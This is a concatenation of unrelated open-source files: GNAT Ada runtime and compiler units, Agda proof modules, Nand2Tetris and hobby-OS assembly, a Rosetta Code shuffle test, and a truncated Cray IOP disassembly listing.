<reponame>e3l6/SSMDev<filename>demo/adainclude/s-bbprot.adb ------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS -- -- -- -- S Y S T E M . B B . P R O T E C T I O N -- -- -- -- B o d y -- -- -- -- Copyright (C) 1999-2002 Universidad Politecnica de Madrid -- -- Copyright (C) 2003-2005 The European Space Agency -- -- Copyright (C) 2003-2014, AdaCore -- -- -- -- GNARL is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNARL is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- -- -- -- -- -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNARL was developed by the GNARL team at Florida State University. -- -- Extensive contributions were provided by Ada Core Technologies, Inc. -- -- -- -- The port of GNARL to bare board targets was initially developed by the -- -- Real-Time Systems Group at the Technical University of Madrid. -- -- -- ------------------------------------------------------------------------------ pragma Restrictions (No_Elaboration_Code); with System.BB.CPU_Primitives; with System.BB.Parameters; with System.BB.Board_Support; with System.BB.Threads; with System.BB.Time; with System.BB.Threads.Queues; -- The following pragma Elaborate is anomalous. We generally do not like -- to use pragma Elaborate, since it disconnects the static elaboration -- model checking (and generates a warning when using this model). So -- either replace with Elaborate_All, or document why we need this and -- why it is safe ??? pragma Warnings (Off); pragma Elaborate (System.BB.Threads.Queues); pragma Warnings (On); package body System.BB.Protection is ------------------ -- Enter_Kernel -- ------------------ procedure Enter_Kernel is begin -- Interrupts are disabled to avoid concurrency problems when modifying -- kernel data. This way, external interrupts cannot be raised. CPU_Primitives.Disable_Interrupts; end Enter_Kernel; ------------------ -- Leave_Kernel -- ------------------ procedure Leave_Kernel is use System.BB.Time; use type System.BB.Threads.Thread_Id; use type System.BB.Threads.Thread_States; begin -- Interrupts are always disabled when entering here -- Wake up served entry calls if Parameters.Multiprocessor and then Wakeup_Served_Entry_Callback /= null then Wakeup_Served_Entry_Callback.all; end if; -- If there is nothing to execute (no tasks or interrupt handlers) then -- we just wait until there is something to do. It means that we need to -- wait until there is any thread ready to execute. Interrupts are -- handled just after enabling interrupts. if Threads.Queues.First_Thread = Threads.Null_Thread_Id then -- There is no task ready to execute so we need to wait until there -- is one, unless we are currently handling an interrupt. -- In the meantime, we put the task temporarily in the ready queue -- so interrupt handling is performed normally. Note that the task -- is inserted in the queue but its state is not Runnable. Threads.Queues.Insert (Threads.Queues.Running_Thread); -- Update execution time for the current task if Scheduling_Event_Hook /= null then Scheduling_Event_Hook.all; end if; -- Wait until a task has been made ready to execute (including the -- one that has been temporarily added to the ready queue). while Threads.Queues.Running_Thread.State /= Threads.Runnable and then Threads.Queues.Running_Thread.Next = Threads.Null_Thread_Id loop -- CPU goes to idle loop, we can disable the CPU clock if Disable_Execution_Time_Hook /= null then Disable_Execution_Time_Hook.all; end if; -- Allow all external interrupts for a while CPU_Primitives.Enable_Interrupts (0); CPU_Primitives.Disable_Interrupts; -- When we are here, the running task must also be the first in -- the ready queue. If an interrupt has made another task ready -- to execute, when we are back here it is because this task has -- become again the first in the ready queue. pragma Loop_Invariant (Threads.Queues.First_Thread = Threads.Queues.Running_Thread); end loop; -- A task has been made ready to execute. We remove the one that was -- temporarily inserted in the ready queue, if needed. if Threads.Queues.Running_Thread.State /= Threads.Runnable then Threads.Queues.Extract (Threads.Queues.Running_Thread); end if; end if; -- We need to check whether a context switch is needed if Threads.Queues.Context_Switch_Needed then -- Perform a context switch because the currently executing thread -- is blocked or it is no longer the one with the highest priority. -- Update execution time before context switch if Scheduling_Event_Hook /= null then Scheduling_Event_Hook.all; end if; CPU_Primitives.Context_Switch; end if; -- Now we need to set the hardware interrupt masking level equal to the -- software priority of the task that is executing. CPU_Primitives.Enable_Interrupts (Threads.Queues.Running_Thread.Active_Priority); end Leave_Kernel; end System.BB.Protection;
tools-src/gnu/gcc/gcc/ada/sem_vfpt.adb
enfoTek/tomato.linksys.e2000.nvram-mod
80
23438
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S E M _ V F P T -- -- -- -- B o d y -- -- -- -- $Revision$ -- -- -- Copyright (C) 1997-2000, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with CStand; use CStand; with Einfo; use Einfo; with Opt; use Opt; with Stand; use Stand; with Targparm; use Targparm; with Ttypef; use Ttypef; with Uintp; use Uintp; pragma Elaborate_All (Uintp); package body Sem_VFpt is T_Digits : constant Uint := UI_From_Int (IEEEL_Digits); -- Digits for IEEE formats ----------------- -- Set_D_Float -- ----------------- procedure Set_D_Float (E : Entity_Id) is begin Init_Size (Base_Type (E), 64); Init_Alignment (Base_Type (E)); Init_Digits_Value (Base_Type (E), VAXDF_Digits); Set_Vax_Float (Base_Type (E), True); Set_Float_Bounds (Base_Type (E)); Init_Size (E, 64); Init_Alignment (E); Init_Digits_Value (E, VAXDF_Digits); Set_Scalar_Range (E, Scalar_Range (Base_Type (E))); end Set_D_Float; ----------------- -- Set_F_Float -- ----------------- procedure Set_F_Float (E : Entity_Id) is begin Init_Size (Base_Type (E), 32); Init_Alignment (Base_Type (E)); Init_Digits_Value (Base_Type (E), VAXFF_Digits); Set_Vax_Float (Base_Type (E), True); Set_Float_Bounds (Base_Type (E)); Init_Size (E, 32); Init_Alignment (E); Init_Digits_Value (E, VAXFF_Digits); Set_Scalar_Range (E, Scalar_Range (Base_Type (E))); end Set_F_Float; ----------------- -- Set_G_Float -- ----------------- procedure Set_G_Float (E : Entity_Id) is begin Init_Size (Base_Type (E), 64); Init_Alignment (Base_Type (E)); Init_Digits_Value (Base_Type (E), VAXGF_Digits); Set_Vax_Float (Base_Type (E), True); Set_Float_Bounds (Base_Type (E)); Init_Size (E, 64); Init_Alignment (E); Init_Digits_Value (E, VAXGF_Digits); Set_Scalar_Range (E, Scalar_Range (Base_Type (E))); end Set_G_Float; ------------------- -- Set_IEEE_Long -- ------------------- procedure Set_IEEE_Long (E : Entity_Id) is begin Init_Size (Base_Type (E), 64); Init_Alignment (Base_Type (E)); Init_Digits_Value (Base_Type (E), IEEEL_Digits); Set_Vax_Float (Base_Type (E), False); Set_Float_Bounds (Base_Type (E)); Init_Size (E, 64); Init_Alignment (E); Init_Digits_Value (E, IEEEL_Digits); Set_Scalar_Range (E, Scalar_Range (Base_Type (E))); end Set_IEEE_Long; -------------------- -- Set_IEEE_Short -- -------------------- procedure Set_IEEE_Short (E : Entity_Id) is begin Init_Size (Base_Type (E), 32); Init_Alignment (Base_Type (E)); Init_Digits_Value (Base_Type (E), IEEES_Digits); Set_Vax_Float (Base_Type (E), False); Set_Float_Bounds (Base_Type (E)); Init_Size (E, 32); Init_Alignment (E); Init_Digits_Value (E, IEEES_Digits); Set_Scalar_Range (E, Scalar_Range (Base_Type (E))); end Set_IEEE_Short; ------------------------------ -- Set_Standard_Fpt_Formats -- ------------------------------ procedure Set_Standard_Fpt_Formats is begin -- IEEE case if Opt.Float_Format = 'I' then Set_IEEE_Short (Standard_Float); Set_IEEE_Long (Standard_Long_Float); Set_IEEE_Long (Standard_Long_Long_Float); -- Vax float case else Set_F_Float (Standard_Float); if Opt.Float_Format_Long = 'D' then Set_D_Float (Standard_Long_Float); else Set_G_Float (Standard_Long_Float); end if; -- Note: Long_Long_Float gets set only in the real VMS case, -- because this gives better results for testing out the use -- of VAX float on non-VMS environments with the -gnatdm switch. if OpenVMS_On_Target then Set_G_Float (Standard_Long_Long_Float); end if; end if; end Set_Standard_Fpt_Formats; end Sem_VFpt;
test/Fail/Interaction-and-input-file.agda
shlevy/agda
1,989
9932
module Interaction-and-input-file where
OrcaHLL/what window should look like.asm
jaredwhitney/os3
5
3904
<reponame>jaredwhitney/os3<gh_stars>1-10 Window.create : pop dword [Window.retstor] pop byte [Window.create.$local.type] pop dword [Window.create.$local.title] push eax push ebx push edx mov ax, 0x0501 mov ecx, <<CLASS_SIZE>> push ecx int 0x30 mov [Window.create.$local.ret], ecx ; init things that I'm really too lazy to do out only for an example (subvarstuffs) mov ax, 0x0001 mov ecx, 1 push ecx int 0x30 mov ebx, ecx mov ax, 0x0001 mov ecx, 2 push ecx int 0x30 imul ecx, ebx mov [Window.create.$local.size], ecx mov ax, 0x0502 mov ecx, [Window.create.$local.size] push ecx int 0x30 ; set the subvarthing mov ax, 0x0502 mov ecx, [Window.create.$local.size] push ecx int 0x30 ; set the subvarthing mov ax, 0x0502 mov ecx, [Window.create.$local.size] push ecx int 0x30 ; set the subvarthing mov ecx, [Window.create.$local.ret] pop edx pop ebx pop eax ret
msp430-gcc-tics/msp430-gcc-7.3.1.24-source-full/gcc/gcc/testsuite/gnat.dg/specs/aggr6.ads
TUDSSL/TICS
7
5096
<filename>msp430-gcc-tics/msp430-gcc-7.3.1.24-source-full/gcc/gcc/testsuite/gnat.dg/specs/aggr6.ads -- { dg-do compile } package Aggr6 is type B15_T is mod 2 ** 15; for B15_T'Size use 15; for B15_T'Alignment use 1; type B17_T is mod 2 ** 17; for B17_T'Size use 17; for B17_T'Alignment use 1; type Rec_T is record A : B17_T; B : B15_T; end record; for Rec_T use record A at 0 range 0 .. 16; B at 0 range 17 .. 31; end record; for Rec_T'Size use 32; C : constant Rec_T := (A => 1, B => 0); end Aggr6;
04/fill/Fill.asm
antonydeepak/Nand2Tetris
0
82224
// This file is part of www.nand2tetris.org // and the book "The Elements of Computing Systems" // by <NAME>, MIT Press. // File name: projects/04/Fill.asm // Runs an infinite loop that listens to the keyboard input. // When a key is pressed (any key), the program blackens the screen, // i.e. writes "black" in every pixel. When no key is pressed, the // program clears the screen, i.e. writes "white" in every pixel. // Put your code here. (LOOP) @KBD D=M @SETWHITE D,JEQ @SETBLACK 0,JMP (SETWHITE) @color M=0 @COLORSCREEN 0,JMP (SETBLACK) @color M=-1 @COLORSCREEN 0,JMP (COLORSCREEN) @i M=0 @256 D=A @i M=M+D //i=256 @colptr M=0 @SCREEN D=A @colptr M=M+D //colptr=address of screen buffer (COLCOLOR) @i D=M @LOOP //Change D;JEQ @i //i-- M=M-1 @j //Paint row M=0 @32 D=A @j M=M+D //j=32 (ROWCOLOR) @j D=M @COLCOLOR D;JEQ @color//get color D=M @colptr //col pointer A=M M=D @colptr//inc col pointer M=M+1 @j //j-- M=M-1 @ROWCOLOR 0;JMP
Task/Knuth-shuffle/Ada/knuth-shuffle-3.ada
LaudateCorpus1/RosettaCodeData
1
24106
<gh_stars>1-10 with Ada.Text_IO; with Generic_Shuffle; procedure Test_Shuffle is type Integer_Array is array (Positive range <>) of Integer; Integer_List : Integer_Array := (1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18); procedure Integer_Shuffle is new Generic_Shuffle(Element_Type => Integer, Array_Type => Integer_Array); begin for I in Integer_List'Range loop Ada.Text_IO.Put(Integer'Image(Integer_List(I))); end loop; Integer_Shuffle(List => Integer_List); Ada.Text_IO.New_Line; for I in Integer_List'Range loop Ada.Text_IO.Put(Integer'Image(Integer_List(I))); end loop; end Test_Shuffle;
Univalence/PermutationProperties.agda
JacquesCarette/pi-dual
14
6067
<gh_stars>10-100 {-# OPTIONS --without-K #-} module PermutationProperties where open import Data.Nat using (ℕ; _+_) open import Data.Fin using (Fin) open import Relation.Binary.PropositionalEquality using (_≡_; refl; sym; trans; cong; module ≡-Reasoning; proof-irrelevance; setoid) open import Function.Equality using (_⟨$⟩_) open import Data.Sum using (_⊎_) open import Data.Product using (_,_; proj₁; proj₂) -- import FinEquivPlusTimes using (module Plus) -- don't open, just import import FinEquivTypeEquiv using (module PlusE) -- don't open, just import open FinEquivPlusTimes.Plus using (⊎≃+; +≃⊎) open FinEquivTypeEquiv.PlusE using (_+F_) open import ConcretePermutation open import Permutation open import SEquivSCPermEquiv open import Equiv using (_●_; id≃; sym≃; _⊎≃_) open import EquivEquiv using (id≋; sym≋; ●-assoc; _◎_; lid≋; rid≋; linv≋; rinv≋; module ≋-Reasoning) open import TypeEquivEquiv using (_⊎≋_) open import FinEquivEquivPlus using ([id+id]≋id; +●≋●+) open ≋-Reasoning ------------------------------------------------------------------------------ -- Composition assocp : ∀ {m₁ m₂ m₃ n₁} → {p₁ : CPerm m₁ n₁} → {p₂ : CPerm m₂ m₁} → {p₃ : CPerm m₃ m₂} → (p₁ ●p p₂) ●p p₃ ≡ p₁ ●p (p₂ ●p p₃) assocp {p₁ = p₁} {p₂} {p₃} = let e₁ = p⇒e p₁ in let e₂ = p⇒e p₂ in let e₃ = p⇒e p₃ in ≋⇒≡ (begin ( p⇒e (e⇒p (e₁ ● e₂)) ● e₃ ≋⟨ left-α-over-● (e₁ ● e₂) e₃ ⟩ (e₁ ● e₂) ● e₃ ≋⟨ ●-assoc {f = e₃} {e₂} {e₁} ⟩ e₁ ● (e₂ ● e₃) ≋⟨ sym≋ (right-α-over-● e₁ (e₂ ● e₃)) ⟩ e₁ ● (p⇒e (e⇒p (e₂ ● e₃))) ∎)) lidp : ∀ {m₁ m₂} {p : CPerm m₂ m₁} → idp ●p p ≡ p lidp {p = p} = trans (≋⇒≡ (begin ( (p⇒e (e⇒p id≃)) ● (p⇒e p) ≋⟨ left-α-over-● id≃ (p⇒e p) ⟩ id≃ ● (p⇒e p) ≋⟨ lid≋ ⟩ (p⇒e p) ∎))) (βu refl) ridp : ∀ {m₁ m₂} {p : CPerm m₂ m₁} → p ●p idp ≡ p ridp {p = p} = trans (≋⇒≡ (begin ( (p⇒e p) ● (p⇒e (e⇒p id≃)) ≋⟨ right-α-over-● (p⇒e p) id≃ ⟩ (p⇒e p) ● id≃ ≋⟨ rid≋ ⟩ (p⇒e p) ∎))) (βu refl) -- Inverses rinv : ∀ {m₁ m₂} (p : CPerm m₂ m₁) → p ●p (symp p) ≡ idp rinv p = let e = p⇒e p in ≋⇒≡ (begin ( e ● (p⇒e (e⇒p (sym≃ e))) ≋⟨ right-α-over-● e (sym≃ e) ⟩ e ● (sym≃ e) ≋⟨ rinv≋ e ⟩ id≃ ∎)) linv : ∀ {m₁ m₂} (p : CPerm m₂ m₁) → (symp p) ●p p ≡ idp linv p = let e = p⇒e p in ≋⇒≡ (begin ( (p⇒e (e⇒p (sym≃ e))) ● e ≋⟨ left-α-over-● (sym≃ e) e ⟩ (sym≃ e) ● e ≋⟨ linv≋ e ⟩ id≃ ∎)) -- p₁ ⊎p p₂ = e⇒p ((p⇒e p₁) +F (p⇒e p₂)) -- Fm≃Fn +F Fo≃Fp = ⊎≃+ ● Fm≃Fn ⊎≃ Fo≃Fp ● +≃⊎ ⊎p●p≡●p⊎p : {m₁ m₂ n₁ n₂ o₁ o₂ : ℕ} → {f : CPerm n₁ m₁} {g : CPerm n₂ m₂} {h : CPerm o₁ n₁} {i : CPerm o₂ n₂} → ((f ●p h) ⊎p (g ●p i)) ≡ ((f ⊎p g) ●p (h ⊎p i)) ⊎p●p≡●p⊎p {f = f} {g} {h} {i} = let e₁ = p⇒e f in let e₂ = p⇒e g in let e₃ = p⇒e h in let e₄ = p⇒e i in let f≋ = id≋ {x = ⊎≃+} in let g≋ = id≋ {x = +≃⊎} in ≋⇒≡ (begin -- inline ⊎p p⇒e (e⇒p (e₁ ● e₃)) +F p⇒e (e⇒p (e₂ ● e₄)) ≋⟨ id≋ ⟩ -- inline +F ⊎≃+ ● (p⇒e (e⇒p (e₁ ● e₃)) ⊎≃ p⇒e (e⇒p (e₂ ● e₄))) ● +≃⊎ ≋⟨ f≋ ◎ ((α₁ ⊎≋ α₁) ◎ g≋) ⟩ ⊎≃+ ● ((e₁ ● e₃) ⊎≃ (e₂ ● e₄)) ● +≃⊎ ≋⟨ +●≋●+ ⟩ (e₁ +F e₂) ● (e₃ +F e₄) ≋⟨ sym≋ ((α₁ {e = e₁ +F e₂}) ◎ (α₁ {e = e₃ +F e₄})) ⟩ (p⇒e (e⇒p (e₁ +F e₂)) ● p⇒e (e⇒p (e₃ +F e₄))) ∎) -- Additives 1p⊎1p≡1p : ∀ {m n} → idp {m} ⊎p idp {n} ≡ idp {m + n} 1p⊎1p≡1p {m} {n} = let em = p⇒e (e⇒p (id≃ {A = Fin m})) in let en = p⇒e (e⇒p (id≃ {A = Fin n})) in let f≋ = id≋ {x = ⊎≃+ {m} {n}} in let g≋ = id≋ {x = +≃⊎ {m} {n}} in ≋⇒≡ (begin ( em +F en ≋⟨ id≋ ⟩ ⊎≃+ ● em ⊎≃ en ● +≃⊎ ≋⟨ f≋ ◎ ((α₁ ⊎≋ α₁) ◎ g≋) ⟩ ⊎≃+ ● (id≃ {A = Fin m}) ⊎≃ id≃ ● +≃⊎ ≋⟨ [id+id]≋id ⟩ id≃ {A = Fin (m + n)} ∎)) -- interaction with composition {- The underlying permutations are no longer defined! unite+p∘[0⊎x]≡x∘unite+p : ∀ {m n} (p : CPerm m n) → transp unite+p (0p ⊎p p) ≡ transp p unite+p unite+p∘[0⊎x]≡x∘unite+p p = p≡ unite+∘[0⊎x]≡x∘unite+ uniti+p∘x≡[0⊎x]∘uniti+p : ∀ {m n} (p : CPerm m n) → transp uniti+p p ≡ transp (0p ⊎p p) uniti+p uniti+p∘x≡[0⊎x]∘uniti+p p = p≡ (uniti+∘x≡[0⊎x]∘uniti+ {x = CPerm.π p}) uniti+rp∘[x⊎0]≡x∘uniti+rp : ∀ {m n} (p : CPerm m n) → transp uniti+rp (p ⊎p 0p) ≡ transp p uniti+rp uniti+rp∘[x⊎0]≡x∘uniti+rp p = p≡ uniti+r∘[x⊎0]≡x∘uniti+r -} {- unite+rp∘[x⊎0]≡x∘unite+rp : ∀ {m n} (p : CPerm m n) → transp unite+rp p ≡ transp (p ⊎p 0p) unite+rp unite+rp∘[x⊎0]≡x∘unite+rp p = p≡ unite+r∘[x⊎0]≡x∘unite+r -} -- Multiplicatives {- 1p×1p≡1p : ∀ {m n} → idp {m} ×p idp {n} ≡ idp 1p×1p≡1p {m} = p≡ (1C×1C≡1C {m}) ×p-distrib : ∀ {m₁ m₂ m₃ m₄ n₁ n₂} → {p₁ : CPerm m₁ n₁} → {p₂ : CPerm m₂ n₂} → {p₃ : CPerm m₃ m₁} → {p₄ : CPerm m₄ m₂} → (transp p₁ p₃) ×p (transp p₂ p₄) ≡ transp (p₁ ×p p₂) (p₃ ×p p₄) ×p-distrib {p₁ = p₁} = p≡ (sym (×c-distrib {p₁ = CPerm.π p₁})) -} ------------------------------------------------------------------------------
target/cos_117/disasm/iop_overlay1/XPRNTB.asm
jrrk2/cray-sim
49
3875
<filename>target/cos_117/disasm/iop_overlay1/XPRNTB.asm 0x0000 (0x000000) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0001 (0x000002) 0x291A- f:00024 d: 282 | OR[282] = A 0x0002 (0x000004) 0x2118- f:00020 d: 280 | A = OR[280] 0x0003 (0x000006) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002) 0x0004 (0x000008) 0x2908- f:00024 d: 264 | OR[264] = A 0x0005 (0x00000A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0006 (0x00000C) 0x291B- f:00024 d: 283 | OR[283] = A 0x0007 (0x00000E) 0x2118- f:00020 d: 280 | A = OR[280] 0x0008 (0x000010) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014) 0x0009 (0x000012) 0x290D- f:00024 d: 269 | OR[269] = A 0x000A (0x000014) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x000B (0x000016) 0x290E- f:00024 d: 270 | OR[270] = A 0x000C (0x000018) 0x210E- f:00020 d: 270 | A = OR[270] 0x000D (0x00001A) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x000E (0x00001C) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x000F (0x00001E) 0x290F- f:00024 d: 271 | OR[271] = A 0x0010 (0x000020) 0x210F- f:00020 d: 271 | A = OR[271] 0x0011 (0x000022) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0012 (0x000024) 0x290F- f:00024 d: 271 | OR[271] = A 0x0013 (0x000026) 0x210E- f:00020 d: 270 | A = OR[270] 0x0014 (0x000028) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00) 0x0016 (0x00002C) 0x250F- f:00022 d: 271 | A = A + OR[271] 0x0017 (0x00002E) 0x290E- f:00024 d: 270 | OR[270] = A 0x0018 (0x000030) 0x390D- f:00034 d: 269 | (OR[269]) = A 0x0019 (0x000032) 0x210F- f:00020 d: 271 | A = OR[271] 0x001A (0x000034) 0x2118- f:00020 d: 280 | A = OR[280] 0x001B (0x000036) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014) 0x001C (0x000038) 0x2908- f:00024 d: 264 | OR[264] = A 0x001D (0x00003A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x001E (0x00003C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x001F (0x00003E) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003) 0x0020 (0x000040) 0x8402- f:00102 d: 2 | P = P + 2 (0x0022), A = 0 0x0021 (0x000042) 0x7008- f:00070 d: 8 | P = P + 8 (0x0029) 0x0022 (0x000044) 0x1800-0x0245 f:00014 d: 0 | A = 581 (0x0245) 0x0024 (0x000048) 0x291D- f:00024 d: 285 | OR[285] = A 0x0025 (0x00004A) 0x7525- f:00072 d: 293 | R = P + 293 (0x014A) 0x0026 (0x00004C) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x0027 (0x00004E) 0x291A- f:00024 d: 282 | OR[282] = A 0x0028 (0x000050) 0x7045- f:00070 d: 69 | P = P + 69 (0x006D) 0x0029 (0x000052) 0x2119- f:00020 d: 281 | A = OR[281] 0x002A (0x000054) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001) 0x002B (0x000056) 0x8402- f:00102 d: 2 | P = P + 2 (0x002D), A = 0 0x002C (0x000058) 0x7023- f:00070 d: 35 | P = P + 35 (0x004F) 0x002D (0x00005A) 0x745E- f:00072 d: 94 | R = P + 94 (0x008B) 0x002E (0x00005C) 0x7534- f:00072 d: 308 | R = P + 308 (0x0162) 0x002F (0x00005E) 0x211C- f:00020 d: 284 | A = OR[284] 0x0030 (0x000060) 0x1202- f:00011 d: 2 | A = A & 2 (0x0002) 0x0031 (0x000062) 0x2908- f:00024 d: 264 | OR[264] = A 0x0032 (0x000064) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0033 (0x000066) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x0034 (0x000068) 0x8602- f:00103 d: 2 | P = P + 2 (0x0036), A # 0 0x0035 (0x00006A) 0x7014- f:00070 d: 20 | P = P + 20 (0x0049) 0x0036 (0x00006C) 0x2118- f:00020 d: 280 | A = OR[280] 0x0037 (0x00006E) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014) 0x0038 (0x000070) 0x2908- f:00024 d: 264 | OR[264] = A 0x0039 (0x000072) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x003A (0x000074) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x003B (0x000076) 0x8402- f:00102 d: 2 | P = P + 2 (0x003D), A = 0 0x003C (0x000078) 0x700D- f:00070 d: 13 | P = P + 13 (0x0049) 0x003D (0x00007A) 0x1800-0x0244 f:00014 d: 0 | A = 580 (0x0244) 0x003F (0x00007E) 0x291D- f:00024 d: 285 | OR[285] = A 0x0040 (0x000080) 0x750A- f:00072 d: 266 | R = P + 266 (0x014A) 0x0041 (0x000082) 0x2118- f:00020 d: 280 | A = OR[280] 0x0042 (0x000084) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014) 0x0043 (0x000086) 0x2908- f:00024 d: 264 | OR[264] = A 0x0044 (0x000088) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0045 (0x00008A) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009) 0x0046 (0x00008C) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x0047 (0x00008E) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x0048 (0x000090) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0049 (0x000092) 0x2118- f:00020 d: 280 | A = OR[280] 0x004A (0x000094) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013) 0x004B (0x000096) 0x2908- f:00024 d: 264 | OR[264] = A 0x004C (0x000098) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x004D (0x00009A) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x004E (0x00009C) 0x701F- f:00070 d: 31 | P = P + 31 (0x006D) 0x004F (0x00009E) 0x2119- f:00020 d: 281 | A = OR[281] 0x0050 (0x0000A0) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002) 0x0051 (0x0000A2) 0x8402- f:00102 d: 2 | P = P + 2 (0x0053), A = 0 0x0052 (0x0000A4) 0x7003- f:00070 d: 3 | P = P + 3 (0x0055) 0x0053 (0x0000A6) 0x7438- f:00072 d: 56 | R = P + 56 (0x008B) 0x0054 (0x0000A8) 0x7019- f:00070 d: 25 | P = P + 25 (0x006D) 0x0055 (0x0000AA) 0x2119- f:00020 d: 281 | A = OR[281] 0x0056 (0x0000AC) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003) 0x0057 (0x0000AE) 0x8402- f:00102 d: 2 | P = P + 2 (0x0059), A = 0 0x0058 (0x0000B0) 0x7008- f:00070 d: 8 | P = P + 8 (0x0060) 0x0059 (0x0000B2) 0x1800-0x0242 f:00014 d: 0 | A = 578 (0x0242) 0x005B (0x0000B6) 0x291D- f:00024 d: 285 | OR[285] = A 0x005C (0x0000B8) 0x74EE- f:00072 d: 238 | R = P + 238 (0x014A) 0x005D (0x0000BA) 0x74BC- f:00072 d: 188 | R = P + 188 (0x0119) 0x005E (0x0000BC) 0x742D- f:00072 d: 45 | R = P + 45 (0x008B) 0x005F (0x0000BE) 0x700E- f:00070 d: 14 | P = P + 14 (0x006D) 0x0060 (0x0000C0) 0x2119- f:00020 d: 281 | A = OR[281] 0x0061 (0x0000C2) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004) 0x0062 (0x0000C4) 0x8402- f:00102 d: 2 | P = P + 2 (0x0064), A = 0 0x0063 (0x0000C6) 0x7008- f:00070 d: 8 | P = P + 8 (0x006B) 0x0064 (0x0000C8) 0x1800-0x0241 f:00014 d: 0 | A = 577 (0x0241) 0x0066 (0x0000CC) 0x291D- f:00024 d: 285 | OR[285] = A 0x0067 (0x0000CE) 0x74E3- f:00072 d: 227 | R = P + 227 (0x014A) 0x0068 (0x0000D0) 0x74B1- f:00072 d: 177 | R = P + 177 (0x0119) 0x0069 (0x0000D2) 0x7422- f:00072 d: 34 | R = P + 34 (0x008B) 0x006A (0x0000D4) 0x7003- f:00070 d: 3 | P = P + 3 (0x006D) 0x006B (0x0000D6) 0x7C34- f:00076 d: 52 | R = OR[52] 0x006C (0x0000D8) 0x0000- f:00000 d: 0 | PASS 0x006D (0x0000DA) 0x2118- f:00020 d: 280 | A = OR[280] 0x006E (0x0000DC) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014) 0x006F (0x0000DE) 0x290D- f:00024 d: 269 | OR[269] = A 0x0070 (0x0000E0) 0x310D- f:00030 d: 269 | A = (OR[269]) 0x0071 (0x0000E2) 0x290E- f:00024 d: 270 | OR[270] = A 0x0072 (0x0000E4) 0x210E- f:00020 d: 270 | A = OR[270] 0x0073 (0x0000E6) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0074 (0x0000E8) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001) 0x0075 (0x0000EA) 0x290F- f:00024 d: 271 | OR[271] = A 0x0076 (0x0000EC) 0x210F- f:00020 d: 271 | A = OR[271] 0x0077 (0x0000EE) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0078 (0x0000F0) 0x290F- f:00024 d: 271 | OR[271] = A 0x0079 (0x0000F2) 0x210E- f:00020 d: 270 | A = OR[270] 0x007A (0x0000F4) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00) 0x007C (0x0000F8) 0x250F- f:00022 d: 271 | A = A + OR[271] 0x007D (0x0000FA) 0x290E- f:00024 d: 270 | OR[270] = A 0x007E (0x0000FC) 0x390D- f:00034 d: 269 | (OR[269]) = A 0x007F (0x0000FE) 0x210F- f:00020 d: 271 | A = OR[271] 0x0080 (0x000100) 0x2005- f:00020 d: 5 | A = OR[5] 0x0081 (0x000102) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006) 0x0082 (0x000104) 0x2908- f:00024 d: 264 | OR[264] = A 0x0083 (0x000106) 0x211A- f:00020 d: 282 | A = OR[282] 0x0084 (0x000108) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0085 (0x00010A) 0x102A- f:00010 d: 42 | A 